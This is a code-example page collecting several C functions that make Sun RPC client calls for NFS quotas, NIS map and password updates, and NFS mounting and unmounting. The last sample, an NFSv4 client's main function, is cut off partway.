Пример #1
0
/* Restricted to SUNOS5 for the moment, I haven`t access to others to test. */ 
static BOOL nfs_quotas(char *nfspath, uid_t euser_id, SMB_BIG_UINT *bsize, SMB_BIG_UINT *dfree, SMB_BIG_UINT *dsize)
{
	uid_t uid = euser_id;
	struct dqblk D;
	char *mnttype = nfspath;
	CLIENT *clnt;
	struct getquota_rslt gqr;
	struct getquota_args args;
	char *cutstr, *pathname, *host, *testpath;
	int len;
	static struct timeval timeout = {2,0};
	enum clnt_stat clnt_stat;
	BOOL ret = True;

	*bsize = *dfree = *dsize = (SMB_BIG_UINT)0;

	len=strcspn(mnttype, ":");
	pathname=strstr(mnttype, ":");
	cutstr = (char *) malloc(len+1);
	if (!cutstr)
		return False;

	memset(cutstr, '\0', len+1);
	host = strncat(cutstr,mnttype, sizeof(char) * len );
	DEBUG(5,("nfs_quotas: looking for mount on \"%s\"\n", cutstr));
	DEBUG(5,("nfs_quotas: of path \"%s\"\n", mnttype));
	testpath=strchr(mnttype, ':');
	args.gqa_pathp = testpath+1;
	args.gqa_uid = uid;

	DEBUG(5,("nfs_quotas: Asking for host \"%s\" rpcprog \"%i\" rpcvers \"%i\" network \"%s\"\n", host, RQUOTAPROG, RQUOTAVERS, "udp"));

	if ((clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp")) == NULL) {
		ret = False;
		goto out;
	}

	clnt->cl_auth = authunix_create_default();
	DEBUG(9,("nfs_quotas: auth_success\n"));

	clnt_stat=clnt_call(clnt, RQUOTAPROC_GETQUOTA, xdr_getquota_args, (caddr_t)&args, xdr_getquota_rslt, (caddr_t)&gqr, timeout);

	if (clnt_stat != RPC_SUCCESS) {
		DEBUG(9,("nfs_quotas: clnt_call fail\n"));
		ret = False;
		goto out;
	}

	/* 
	 * quotastat returns 0 if the rpc call fails, 1 if quotas exist, 2 if there is
	 * no quota set, and 3 if no permission to get the quota.  If 0 or 3 return
	 * something sensible.
	 */   

	switch ( quotastat ) {
	case 0:
		DEBUG(9,("nfs_quotas: Remote Quotas Failed!  Error \"%i\" \n", quotastat ));
		ret = False;
		goto out;

	case 1:
		DEBUG(9,("nfs_quotas: Good quota data\n"));
		D.dqb_bsoftlimit = gqr.getquota_rslt_u.gqr_rquota.rq_bsoftlimit;
		D.dqb_bhardlimit = gqr.getquota_rslt_u.gqr_rquota.rq_bhardlimit;
		D.dqb_curblocks = gqr.getquota_rslt_u.gqr_rquota.rq_curblocks;
		break;

	case 2:
	case 3:
		D.dqb_bsoftlimit = 1;
		D.dqb_curblocks = 1;
		DEBUG(9,("nfs_quotas: Remote Quotas returned \"%i\" \n", quotastat ));
		break;

	default:
		DEBUG(9,("nfs_quotas: Remote Quotas Questionable!  Error \"%i\" \n", quotastat ));
		break;
	}

	DEBUG(10,("nfs_quotas: Let`s look at D a bit closer... status \"%i\" bsize \"%i\" active? \"%i\" bhard \"%i\" bsoft \"%i\" curb \"%i\" \n",
			quotastat,
			gqr.getquota_rslt_u.gqr_rquota.rq_bsize,
			gqr.getquota_rslt_u.gqr_rquota.rq_active,
			gqr.getquota_rslt_u.gqr_rquota.rq_bhardlimit,
			gqr.getquota_rslt_u.gqr_rquota.rq_bsoftlimit,
			gqr.getquota_rslt_u.gqr_rquota.rq_curblocks));

	*bsize = gqr.getquota_rslt_u.gqr_rquota.rq_bsize;
	*dsize = D.dqb_bsoftlimit;

	if (D.dqb_curblocks == D.dqb_curblocks == 1)
		*bsize = 512;

	if (D.dqb_curblocks > D.dqb_bsoftlimit) {
		*dfree = 0;
		*dsize = D.dqb_curblocks;
	} else
		*dfree = D.dqb_bsoftlimit - D.dqb_curblocks;

  out:

	if (clnt) {
		if (clnt->cl_auth)
			auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
	}

	DEBUG(5,("nfs_quotas: For path \"%s\" returning  bsize %.0f, dfree %.0f, dsize %.0f\n",args.gqa_pathp,(double)*bsize,(double)*dfree,(double)*dsize));

	safe_free(cutstr);
	DEBUG(10,("nfs_quotas: End of nfs_quotas\n" ));
	return ret;
}
Пример #2
0
int
yp_update(char *domain, char *map, unsigned int ypop, char *key, int keylen,
	  char *data, int datalen)
{
	char *master;
	int rval;
	unsigned int res;
	struct ypupdate_args upargs;
	struct ypdelete_args delargs;
	CLIENT *clnt;
	char netname[MAXNETNAMELEN+1];
	des_block des_key;
	struct timeval timeout;

	/* Get the master server name for 'domain.' */
	if ((rval = yp_master(domain, map, &master)))
		return(rval);

	/* Check that ypupdated is running there. */
	if (getrpcport(master, YPU_PROG, YPU_VERS, ypop))
		return(YPERR_DOMAIN);

	/* Get a handle. */
	if ((clnt = clnt_create(master, YPU_PROG, YPU_VERS, "tcp")) == NULL)
		return(YPERR_RPC);

	/*
	 * Assemble netname of server.
	 * NOTE: It's difficult to discern from the documentation, but
	 * when you make a Secure RPC call, the netname you pass should
	 * be the netname of the guy on the other side, not your own
	 * netname. This is how the client side knows what public key
	 * to use for the initial exchange. Passing your own netname
	 * only works if the server on the other side is running under
	 * your UID.
	 */
	if (!host2netname(netname, master, domain)) {
		clnt_destroy(clnt);
		return(YPERR_BADARGS);
	}

	/* Make up a DES session key. */
	key_gendes(&des_key);

	/* Set up DES authentication. */
	if ((clnt->cl_auth = (AUTH *)authdes_create(netname, WINDOW, NULL,
			&des_key)) == NULL) {
		clnt_destroy(clnt);
		return(YPERR_RESRC);
	}

	/* Set a timeout for clnt_call(). */
	timeout.tv_usec = 0;
	timeout.tv_sec = TIMEOUT;

	/*
	 * Make the call. Note that we use clnt_call() here rather than
	 * the rpcgen-erated client stubs. We could use those stubs, but
	 * then we'd have to do some gymnastics to get at the error
	 * information to figure out what error code to send back to the
	 * caller. With clnt_call(), we get the error status returned to
	 * us right away, and we only have to exert a small amount of
	 * extra effort.
	 */
	switch (ypop) {
	case YPOP_CHANGE:
		upargs.mapname = map;
		upargs.key.yp_buf_len = keylen;
		upargs.key.yp_buf_val = key;
		upargs.datum.yp_buf_len = datalen;
		upargs.datum.yp_buf_val = data;

		if ((rval = clnt_call(clnt, YPU_CHANGE,
			(xdrproc_t)xdr_ypupdate_args, &upargs,
			(xdrproc_t)xdr_u_int, &res, timeout)) != RPC_SUCCESS) {
			if (rval == RPC_AUTHERROR)
				res = YPERR_ACCESS;
			else
				res = YPERR_RPC;
		}

		break;
	case YPOP_INSERT:
		upargs.mapname = map;
		upargs.key.yp_buf_len = keylen;
		upargs.key.yp_buf_val = key;
		upargs.datum.yp_buf_len = datalen;
		upargs.datum.yp_buf_val = data;

		if ((rval = clnt_call(clnt, YPU_INSERT,
			(xdrproc_t)xdr_ypupdate_args, &upargs,
			(xdrproc_t)xdr_u_int, &res, timeout)) != RPC_SUCCESS) {
			if (rval == RPC_AUTHERROR)
				res = YPERR_ACCESS;
			else
				res = YPERR_RPC;
		}

		break;
	case YPOP_DELETE:
		delargs.mapname = map;
		delargs.key.yp_buf_len = keylen;
		delargs.key.yp_buf_val = key;

		if ((rval = clnt_call(clnt, YPU_DELETE,
			(xdrproc_t)xdr_ypdelete_args, &delargs,
			(xdrproc_t)xdr_u_int, &res, timeout)) != RPC_SUCCESS) {
			if (rval == RPC_AUTHERROR)
				res = YPERR_ACCESS;
			else
				res = YPERR_RPC;
		}

		break;
	case YPOP_STORE:
		upargs.mapname = map;
		upargs.key.yp_buf_len = keylen;
		upargs.key.yp_buf_val = key;
		upargs.datum.yp_buf_len = datalen;
		upargs.datum.yp_buf_val = data;

		if ((rval = clnt_call(clnt, YPU_STORE,
			(xdrproc_t)xdr_ypupdate_args, &upargs,
			(xdrproc_t)xdr_u_int, &res, timeout)) != RPC_SUCCESS) {
			if (rval == RPC_AUTHERROR)
				res = YPERR_ACCESS;
			else
				res = YPERR_RPC;
		}

		break;
	default:
		res = YPERR_BADARGS;
		break;
	}

	/* All done: tear down the connection. */
	auth_destroy(clnt->cl_auth);
	clnt_destroy(clnt);
	free(master);

	return(res);
}
Пример #3
0
static int
yppasswd_remote(ypclnt_t *ypclnt, const struct passwd *pwd, const char *passwd)
{
	struct yppasswd yppwd;
	struct rpc_err rpcerr;
	CLIENT *clnt = NULL;
	int ret, *result;

	/* fill the yppasswd structure */
	memset(&yppwd, 0, sizeof yppwd);
	yppwd.newpw.pw_uid = pwd->pw_uid;
	yppwd.newpw.pw_gid = pwd->pw_gid;
	if ((yppwd.newpw.pw_name = strdup(pwd->pw_name)) == NULL ||
	    (yppwd.newpw.pw_passwd = strdup(pwd->pw_passwd)) == NULL ||
	    (yppwd.newpw.pw_gecos = strdup(pwd->pw_gecos)) == NULL ||
	    (yppwd.newpw.pw_dir = strdup(pwd->pw_dir)) == NULL ||
	    (yppwd.newpw.pw_shell = strdup(pwd->pw_shell)) == NULL ||
	    (yppwd.oldpass = strdup(passwd ? passwd : "")) == NULL) {
		ypclnt_error(ypclnt, __func__, strerror(errno));
		ret = -1;
		goto done;
	}

	/* connect to rpc.yppasswdd */
	clnt = clnt_create(ypclnt->server, YPPASSWDPROG, YPPASSWDVERS, "udp");
	if (clnt == NULL) {
		ypclnt_error(ypclnt, __func__,
		    "failed to connect to rpc.yppasswdd: %s",
		    clnt_spcreateerror(ypclnt->server));
		ret = -1;
		goto done;
	}
	clnt->cl_auth = authunix_create_default();

	/* request the update */
	result = yppasswdproc_update_1(&yppwd, clnt);

	/* check for RPC errors */
	clnt_geterr(clnt, &rpcerr);
	if (rpcerr.re_status != RPC_SUCCESS) {
		ypclnt_error(ypclnt, __func__,
		    "NIS password update failed: %s",
		    clnt_sperror(clnt, ypclnt->server));
		ret = -1;
		goto done;
	}

	/* check the result of the update */
	if (result == NULL || *result != 0) {
		ypclnt_error(ypclnt, __func__,
		    "NIS password update failed");
		/* XXX how do we get more details? */
		ret = -1;
		goto done;
	}

	ypclnt_error(ypclnt, NULL, NULL);
	ret = 0;

 done:
	if (clnt != NULL) {
		auth_destroy(clnt->cl_auth);
		clnt_destroy(clnt);
	}
	free(yppwd.newpw.pw_name);
	if (yppwd.newpw.pw_passwd != NULL) {
		memset(yppwd.newpw.pw_passwd, 0, strlen(yppwd.newpw.pw_passwd));
		free(yppwd.newpw.pw_passwd);
	}
	free(yppwd.newpw.pw_gecos);
	free(yppwd.newpw.pw_dir);
	free(yppwd.newpw.pw_shell);
	if (yppwd.oldpass != NULL) {
		memset(yppwd.oldpass, 0, strlen(yppwd.oldpass));
		free(yppwd.oldpass);
	}
	return (ret);
}
Пример #4
0
/*
 * NFS stuff and unmount(2) call
 */
int
umountfs(struct statfs *sfs)
{
	char fsidbuf[64];
	enum clnt_stat clnt_stat;
	struct timeval try;
	struct addrinfo *ai, hints;
	int do_rpc;
	CLIENT *clp;
	char *nfsdirname, *orignfsdirname;
	char *hostp, *delimp;

	ai = NULL;
	do_rpc = 0;
	hostp = NULL;
	nfsdirname = delimp = orignfsdirname = NULL;
	memset(&hints, 0, sizeof hints);

	if (strcmp(sfs->f_fstypename, "nfs") == 0) {
		if ((nfsdirname = strdup(sfs->f_mntfromname)) == NULL)
			err(1, "strdup");
		orignfsdirname = nfsdirname;
		if (*nfsdirname == '[' &&
		    (delimp = strchr(nfsdirname + 1, ']')) != NULL &&
		    *(delimp + 1) == ':') {
			hostp = nfsdirname + 1;
			nfsdirname = delimp + 2;
		} else if ((delimp = strrchr(nfsdirname, ':')) != NULL) {
			hostp = nfsdirname;
			nfsdirname = delimp + 1;
		}
		if (hostp != NULL) {
			*delimp = '\0';
			getaddrinfo(hostp, NULL, &hints, &ai);
			if (ai == NULL) {
				warnx("can't get net id for host");
			}
		}

		/*
		 * Check if we have to start the rpc-call later.
		 * If there are still identical nfs-names mounted,
		 * we skip the rpc-call. Obviously this has to
		 * happen before unmount(2), but it should happen
		 * after the previous namecheck.
		 * A non-NULL return means that this is the last
		 * mount from mntfromname that is still mounted.
		 */
		if (getmntentry(sfs->f_mntfromname, NULL, NULL,
		    CHECKUNIQUE) != NULL)
			do_rpc = 1;
	}

	if (!namematch(ai)) {
		free(orignfsdirname);
		return (1);
	}
	/* First try to unmount using the file system ID. */
	snprintf(fsidbuf, sizeof(fsidbuf), "FSID:%d:%d", sfs->f_fsid.val[0],
	    sfs->f_fsid.val[1]);
	if (unmount(fsidbuf, fflag | MNT_BYFSID) != 0) {
		/* XXX, non-root users get a zero fsid, so don't warn. */
		if (errno != ENOENT || sfs->f_fsid.val[0] != 0 ||
		    sfs->f_fsid.val[1] != 0)
			warn("unmount of %s failed", sfs->f_mntonname);
		if (errno != ENOENT) {
			free(orignfsdirname);
			return (1);
		}
		/* Compatibility for old kernels. */
		if (sfs->f_fsid.val[0] != 0 || sfs->f_fsid.val[1] != 0)
			warnx("retrying using path instead of file system ID");
		if (unmount(sfs->f_mntonname, fflag) != 0) {
			warn("unmount of %s failed", sfs->f_mntonname);
			free(orignfsdirname);
			return (1);
		}
	}
	/* Mark this this file system as unmounted. */
	getmntentry(NULL, NULL, &sfs->f_fsid, REMOVE);
	if (vflag)
		(void)printf("%s: unmount from %s\n", sfs->f_mntfromname,
		    sfs->f_mntonname);
	/*
	 * Report to mountd-server which nfsname
	 * has been unmounted.
	 */
	if (ai != NULL && !(fflag & MNT_FORCE) && do_rpc) {
		clp = clnt_create(hostp, MOUNTPROG, MOUNTVERS, "udp");
		if (clp  == NULL) {
			warnx("%s: %s", hostp,
			    clnt_spcreateerror("MOUNTPROG"));
			free(orignfsdirname);
			return (1);
		}
		clp->cl_auth = authsys_create_default();
		try.tv_sec = 20;
		try.tv_usec = 0;
		clnt_stat = clnt_call(clp, MOUNTPROC_UMNT, (xdrproc_t)xdr_dir,
		    nfsdirname, (xdrproc_t)xdr_void, (caddr_t)0, try);
		if (clnt_stat != RPC_SUCCESS) {
			warnx("%s: %s", hostp,
			    clnt_sperror(clp, "RPCMNT_UMOUNT"));
			free(orignfsdirname);
			return (1);
		}
		/*
		 * Remove the unmounted entry from /var/db/mounttab.
		 */
		if (read_mtab()) {
			clean_mtab(hostp, nfsdirname, vflag);
			if(!write_mtab(vflag))
				warnx("cannot remove mounttab entry %s:%s",
				    hostp, nfsdirname);
			free_mtab();
		}
		auth_destroy(clp->cl_auth);
		clnt_destroy(clp);
	}
Пример #5
0
// NB: mp->xxx fields may be trashed on exit
static int nfsmount(struct mntent *mp, int vfsflags, char *filteropts)
{
	CLIENT *mclient;
	char *hostname;
	char *pathname;
	char *mounthost;
	struct nfs_mount_data data;
	char *opt;
	struct hostent *hp;
	struct sockaddr_in server_addr;
	struct sockaddr_in mount_server_addr;
	int msock, fsock;
	union {
		struct fhstatus nfsv2;
		struct mountres3 nfsv3;
	} status;
	int daemonized;
	char *s;
	int port;
	int mountport;
	int proto;
	int bg;
	int soft;
	int intr;
	int posix;
	int nocto;
	int noac;
	int nolock;
	int retry;
	int tcp;
	int mountprog;
	int mountvers;
	int nfsprog;
	int nfsvers;
	int retval;

	find_kernel_nfs_mount_version();

	daemonized = 0;
	mounthost = NULL;
	retval = ETIMEDOUT;
	msock = fsock = -1;
	mclient = NULL;

	/* NB: hostname, mounthost, filteropts must be free()d prior to return */

	filteropts = xstrdup(filteropts); /* going to trash it later... */

	hostname = xstrdup(mp->mnt_fsname);
	/* mount_main() guarantees that ':' is there */
	s = strchr(hostname, ':');
	pathname = s + 1;
	*s = '\0';
	/* Ignore all but first hostname in replicated mounts
	   until they can be fully supported. ([email protected]) */
	s = strchr(hostname, ',');
	if (s) {
		*s = '\0';
		bb_error_msg("warning: multiple hostnames not supported");
	}

	server_addr.sin_family = AF_INET;
	if (!inet_aton(hostname, &server_addr.sin_addr)) {
		hp = gethostbyname(hostname);
		if (hp == NULL) {
			bb_herror_msg("%s", hostname);
			goto fail;
		}
		if (hp->h_length > sizeof(struct in_addr)) {
			bb_error_msg("got bad hp->h_length");
			hp->h_length = sizeof(struct in_addr);
		}
		memcpy(&server_addr.sin_addr,
				hp->h_addr, hp->h_length);
	}

	memcpy(&mount_server_addr, &server_addr, sizeof(mount_server_addr));

	/* add IP address to mtab options for use when unmounting */

	if (!mp->mnt_opts) { /* TODO: actually mp->mnt_opts is never NULL */
		mp->mnt_opts = xasprintf("addr=%s", inet_ntoa(server_addr.sin_addr));
	} else {
		char *tmp = xasprintf("%s%saddr=%s", mp->mnt_opts,
					mp->mnt_opts[0] ? "," : "",
					inet_ntoa(server_addr.sin_addr));
		free(mp->mnt_opts);
		mp->mnt_opts = tmp;
	}

	/* Set default options.
	 * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to
	 * let the kernel decide.
	 * timeo is filled in after we know whether it'll be TCP or UDP. */
	memset(&data, 0, sizeof(data));
	data.retrans	= 3;
	data.acregmin	= 3;
	data.acregmax	= 60;
	data.acdirmin	= 30;
	data.acdirmax	= 60;
	data.namlen	= NAME_MAX;

	bg = 0;
	soft = 0;
	intr = 0;
	posix = 0;
	nocto = 0;
	nolock = 0;
	noac = 0;
	retry = 10000;		/* 10000 minutes ~ 1 week */
	tcp = 0;

	mountprog = MOUNTPROG;
	mountvers = 0;
	port = 0;
	mountport = 0;
	nfsprog = 100003;
	nfsvers = 0;

	/* parse options */
	if (filteropts)	for (opt = strtok(filteropts, ","); opt; opt = strtok(NULL, ",")) {
		char *opteq = strchr(opt, '=');
		if (opteq) {
			static const char *const options[] = {
				/* 0 */ "rsize",
				/* 1 */ "wsize",
				/* 2 */ "timeo",
				/* 3 */ "retrans",
				/* 4 */ "acregmin",
				/* 5 */ "acregmax",
				/* 6 */ "acdirmin",
				/* 7 */ "acdirmax",
				/* 8 */ "actimeo",
				/* 9 */ "retry",
				/* 10 */ "port",
				/* 11 */ "mountport",
				/* 12 */ "mounthost",
				/* 13 */ "mountprog",
				/* 14 */ "mountvers",
				/* 15 */ "nfsprog",
				/* 16 */ "nfsvers",
				/* 17 */ "vers",
				/* 18 */ "proto",
				/* 19 */ "namlen",
				/* 20 */ "addr",
				NULL
			};
			int val = xatoi_u(opteq + 1);
			*opteq = '\0';
			switch (index_in_str_array(options, opt)) {
			case 0: // "rsize"
				data.rsize = val;
				break;
			case 1: // "wsize"
				data.wsize = val;
				break;
			case 2: // "timeo"
				data.timeo = val;
				break;
			case 3: // "retrans"
				data.retrans = val;
				break;
			case 4: // "acregmin"
				data.acregmin = val;
				break;
			case 5: // "acregmax"
				data.acregmax = val;
				break;
			case 6: // "acdirmin"
				data.acdirmin = val;
				break;
			case 7: // "acdirmax"
				data.acdirmax = val;
				break;
			case 8: // "actimeo"
				data.acregmin = val;
				data.acregmax = val;
				data.acdirmin = val;
				data.acdirmax = val;
				break;
			case 9: // "retry"
				retry = val;
				break;
			case 10: // "port"
				port = val;
				break;
			case 11: // "mountport"
				mountport = val;
				break;
			case 12: // "mounthost"
				mounthost = xstrndup(opteq+1,
						strcspn(opteq+1," \t\n\r,"));
				break;
			case 13: // "mountprog"
				mountprog = val;
				break;
			case 14: // "mountvers"
				mountvers = val;
				break;
			case 15: // "nfsprog"
				nfsprog = val;
				break;
			case 16: // "nfsvers"
			case 17: // "vers"
				nfsvers = val;
				break;
			case 18: // "proto"
				if (!strncmp(opteq+1, "tcp", 3))
					tcp = 1;
				else if (!strncmp(opteq+1, "udp", 3))
					tcp = 0;
				else
					bb_error_msg("warning: unrecognized proto= option");
				break;
			case 19: // "namlen"
				if (nfs_mount_version >= 2)
					data.namlen = val;
				else
					bb_error_msg("warning: option namlen is not supported\n");
				break;
			case 20: // "addr" - ignore
				break;
			default:
				bb_error_msg("unknown nfs mount parameter: %s=%d", opt, val);
				goto fail;
			}
		}
		else {
			static const char *const options[] = {
				"bg",
				"fg",
				"soft",
				"hard",
				"intr",
				"posix",
				"cto",
				"ac",
				"tcp",
				"udp",
				"lock",
				NULL
			};
			int val = 1;
			if (!strncmp(opt, "no", 2)) {
				val = 0;
				opt += 2;
			}
			switch (index_in_str_array(options, opt)) {
			case 0: // "bg"
				bg = val;
				break;
			case 1: // "fg"
				bg = !val;
				break;
			case 2: // "soft"
				soft = val;
				break;
			case 3: // "hard"
				soft = !val;
				break;
			case 4: // "intr"
				intr = val;
				break;
			case 5: // "posix"
				posix = val;
				break;
			case 6: // "cto"
				nocto = !val;
				break;
			case 7: // "ac"
				noac = !val;
				break;
			case 8: // "tcp"
				tcp = val;
				break;
			case 9: // "udp"
				tcp = !val;
				break;
			case 10: // "lock"
				if (nfs_mount_version >= 3)
					nolock = !val;
				else
					bb_error_msg("warning: option nolock is not supported");
				break;
			default:
				bb_error_msg("unknown nfs mount option: %s%s", val ? "" : "no", opt);
				goto fail;
			}
		}
	}
	proto = (tcp) ? IPPROTO_TCP : IPPROTO_UDP;

	data.flags = (soft ? NFS_MOUNT_SOFT : 0)
		| (intr ? NFS_MOUNT_INTR : 0)
		| (posix ? NFS_MOUNT_POSIX : 0)
		| (nocto ? NFS_MOUNT_NOCTO : 0)
		| (noac ? NFS_MOUNT_NOAC : 0);
	if (nfs_mount_version >= 2)
		data.flags |= (tcp ? NFS_MOUNT_TCP : 0);
	if (nfs_mount_version >= 3)
		data.flags |= (nolock ? NFS_MOUNT_NONLM : 0);
	if (nfsvers > MAX_NFSPROT || mountvers > MAX_NFSPROT) {
		bb_error_msg("NFSv%d not supported", nfsvers);
		goto fail;
	}
	if (nfsvers && !mountvers)
		mountvers = (nfsvers < 3) ? 1 : nfsvers;
	if (nfsvers && nfsvers < mountvers) {
		mountvers = nfsvers;
	}

	/* Adjust options if none specified */
	if (!data.timeo)
		data.timeo = tcp ? 70 : 7;

	data.version = nfs_mount_version;

	if (vfsflags & MS_REMOUNT)
		goto do_mount;

	/*
	 * If the previous mount operation on the same host was
	 * backgrounded, and the "bg" for this mount is also set,
	 * give up immediately, to avoid the initial timeout.
	 */
	if (bg && we_saw_this_host_before(hostname)) {
		daemonized = daemonize(); /* parent or error */
		if (daemonized <= 0) { /* parent or error */
			retval = -daemonized;
			goto ret;
		}
	}

	/* create mount daemon client */
	/* See if the nfs host = mount host. */
	if (mounthost) {
		if (mounthost[0] >= '0' && mounthost[0] <= '9') {
			mount_server_addr.sin_family = AF_INET;
			mount_server_addr.sin_addr.s_addr = inet_addr(hostname);
		} else {
			hp = gethostbyname(mounthost);
			if (hp == NULL) {
				bb_herror_msg("%s", mounthost);
				goto fail;
			} else {
				if (hp->h_length > sizeof(struct in_addr)) {
					bb_error_msg("got bad hp->h_length?");
					hp->h_length = sizeof(struct in_addr);
				}
				mount_server_addr.sin_family = AF_INET;
				memcpy(&mount_server_addr.sin_addr,
						hp->h_addr, hp->h_length);
			}
		}
	}

	/*
	 * The following loop implements the mount retries. When the mount
	 * times out, and the "bg" option is set, we background ourself
	 * and continue trying.
	 *
	 * The case where the mount point is not present and the "bg"
	 * option is set, is treated as a timeout. This is done to
	 * support nested mounts.
	 *
	 * The "retry" count specified by the user is the number of
	 * minutes to retry before giving up.
	 */
	{
		struct timeval total_timeout;
		struct timeval retry_timeout;
		struct pmap* pm_mnt;
		time_t t;
		time_t prevt;
		time_t timeout;

		retry_timeout.tv_sec = 3;
		retry_timeout.tv_usec = 0;
		total_timeout.tv_sec = 20;
		total_timeout.tv_usec = 0;
		timeout = time(NULL) + 60 * retry;
		prevt = 0;
		t = 30;
retry:
		/* be careful not to use too many CPU cycles */
		if (t - prevt < 30)
			sleep(30);

		pm_mnt = get_mountport(&mount_server_addr,
				mountprog,
				mountvers,
				proto,
				mountport);
		nfsvers = (pm_mnt->pm_vers < 2) ? 2 : pm_mnt->pm_vers;

		/* contact the mount daemon via TCP */
		mount_server_addr.sin_port = htons(pm_mnt->pm_port);
		msock = RPC_ANYSOCK;

		switch (pm_mnt->pm_prot) {
		case IPPROTO_UDP:
			mclient = clntudp_create(&mount_server_addr,
						 pm_mnt->pm_prog,
						 pm_mnt->pm_vers,
						 retry_timeout,
						 &msock);
			if (mclient)
				break;
			mount_server_addr.sin_port = htons(pm_mnt->pm_port);
			msock = RPC_ANYSOCK;
		case IPPROTO_TCP:
			mclient = clnttcp_create(&mount_server_addr,
						 pm_mnt->pm_prog,
						 pm_mnt->pm_vers,
						 &msock, 0, 0);
			break;
		default:
			mclient = 0;
		}
		if (!mclient) {
			if (!daemonized && prevt == 0)
				error_msg_rpc(clnt_spcreateerror(" "));
		} else {
			enum clnt_stat clnt_stat;
			/* try to mount hostname:pathname */
			mclient->cl_auth = authunix_create_default();

			/* make pointers in xdr_mountres3 NULL so
			 * that xdr_array allocates memory for us
			 */
			memset(&status, 0, sizeof(status));

			if (pm_mnt->pm_vers == 3)
				clnt_stat = clnt_call(mclient, MOUNTPROC3_MNT,
					      (xdrproc_t) xdr_dirpath,
					      (caddr_t) &pathname,
					      (xdrproc_t) xdr_mountres3,
					      (caddr_t) &status,
					      total_timeout);
			else
				clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
					      (xdrproc_t) xdr_dirpath,
					      (caddr_t) &pathname,
					      (xdrproc_t) xdr_fhstatus,
					      (caddr_t) &status,
					      total_timeout);

			if (clnt_stat == RPC_SUCCESS)
				goto prepare_kernel_data; /* we're done */
			if (errno != ECONNREFUSED) {
				error_msg_rpc(clnt_sperror(mclient, " "));
				goto fail;	/* don't retry */
			}
			/* Connection refused */
			if (!daemonized && prevt == 0) /* print just once */
				error_msg_rpc(clnt_sperror(mclient, " "));
			auth_destroy(mclient->cl_auth);
			clnt_destroy(mclient);
			mclient = 0;
			close(msock);
		}

		/* Timeout. We are going to retry... maybe */

		if (!bg)
			goto fail;
		if (!daemonized) {
			daemonized = daemonize();
			if (daemonized <= 0) { /* parent or error */
				retval = -daemonized;
				goto ret;
			}
		}
		prevt = t;
		t = time(NULL);
		if (t >= timeout)
			/* TODO error message */
			goto fail;

		goto retry;
	}

prepare_kernel_data:

	if (nfsvers == 2) {
		if (status.nfsv2.fhs_status != 0) {
			bb_error_msg("%s:%s failed, reason given by server: %s",
				hostname, pathname,
				nfs_strerror(status.nfsv2.fhs_status));
			goto fail;
		}
		memcpy(data.root.data,
				(char *) status.nfsv2.fhstatus_u.fhs_fhandle,
				NFS_FHSIZE);
		data.root.size = NFS_FHSIZE;
		memcpy(data.old_root.data,
				(char *) status.nfsv2.fhstatus_u.fhs_fhandle,
				NFS_FHSIZE);
	} else {
		fhandle3 *my_fhandle;
		if (status.nfsv3.fhs_status != 0) {
			bb_error_msg("%s:%s failed, reason given by server: %s",
				hostname, pathname,
				nfs_strerror(status.nfsv3.fhs_status));
			goto fail;
		}
		my_fhandle = &status.nfsv3.mountres3_u.mountinfo.fhandle;
		memset(data.old_root.data, 0, NFS_FHSIZE);
		memset(&data.root, 0, sizeof(data.root));
		data.root.size = my_fhandle->fhandle3_len;
		memcpy(data.root.data,
				(char *) my_fhandle->fhandle3_val,
				my_fhandle->fhandle3_len);

		data.flags |= NFS_MOUNT_VER3;
	}

	/* create nfs socket for kernel */

	if (tcp) {
		if (nfs_mount_version < 3) {
			bb_error_msg("NFS over TCP is not supported");
			goto fail;
		}
		fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	} else
		fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fsock < 0) {
		bb_perror_msg("nfs socket");
		goto fail;
	}
	if (bindresvport(fsock, 0) < 0) {
		bb_perror_msg("nfs bindresvport");
		goto fail;
	}
	if (port == 0) {
		server_addr.sin_port = PMAPPORT;
		port = pmap_getport(&server_addr, nfsprog, nfsvers,
					tcp ? IPPROTO_TCP : IPPROTO_UDP);
		if (port == 0)
			port = NFS_PORT;
	}
	server_addr.sin_port = htons(port);

	/* prepare data structure for kernel */

	data.fd = fsock;
	memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr));
	strncpy(data.hostname, hostname, sizeof(data.hostname));

	/* clean up */

	auth_destroy(mclient->cl_auth);
	clnt_destroy(mclient);
	close(msock);

	if (bg) {
		/* We must wait until mount directory is available */
		struct stat statbuf;
		int delay = 1;
		while (stat(mp->mnt_dir, &statbuf) == -1) {
			if (!daemonized) {
				daemonized = daemonize();
				if (daemonized <= 0) { /* parent or error */
					retval = -daemonized;
					goto ret;
				}
			}
			sleep(delay);	/* 1, 2, 4, 8, 16, 30, ... */
			delay *= 2;
			if (delay > 30)
				delay = 30;
		}
	}

do_mount: /* perform actual mount */

	mp->mnt_type = (char*)"nfs";
	retval = mount_it_now(mp, vfsflags, (char*)&data);
	goto ret;

fail:	/* abort */

	if (msock != -1) {
		if (mclient) {
			auth_destroy(mclient->cl_auth);
			clnt_destroy(mclient);
		}
		close(msock);
	}
	if (fsock != -1)
		close(fsock);

ret:
	free(hostname);
	free(mounthost);
	free(filteropts);
	return retval;
}
main( int argc, char * argv[] ) 
{
  struct timeval   intervalle = { TIMEOUT_SEC, 0 };
  CLIENT *         client ;
  int              c ;  
  struct rpcent *  etc_rpc ;               /* pour consulter /etc/rpc ou rpc.bynumber */
  unsigned int     adresse_serveur ;  /* Au format NET */
  struct hostent * hp ;
  char             nom_exec[MAXPATHLEN] ;
  char             machine_locale[256] ;
  char *           tempo_nom_exec  = NULL ;
  unsigned int     rpc_service_num = DEFAULT_RPC_SERVICE ;
  unsigned int     rpc_version = V4 ;
  unsigned int     rpcproc = PROC_PLUS1 ;
  unsigned short   port =  ntohs( 2049 ) ;
  int              val = 2 ;
  int              rc ;
  char             gss_service[1024] ;
  char             host[100] ;

  struct COMPOUND4args compound4_args ;
  struct COMPOUND4res  compound4_res ;
 
   /* On recupere le nom de l'executable */
  if( ( tempo_nom_exec = strrchr( argv[0], '/' ) ) != NULL )
    strcpy( (char *)nom_exec, tempo_nom_exec + 1 ) ;
  
  strcpy( ifname, "eth0" ) ;

  while( ( c = getopt( argc, argv, options ) ) != EOF )
    {
      switch( c )
        {
        case 'd':
          /* Cette option permet de recuperer un nom pour la machine distante */
          if( isalpha( *optarg ) )
            {
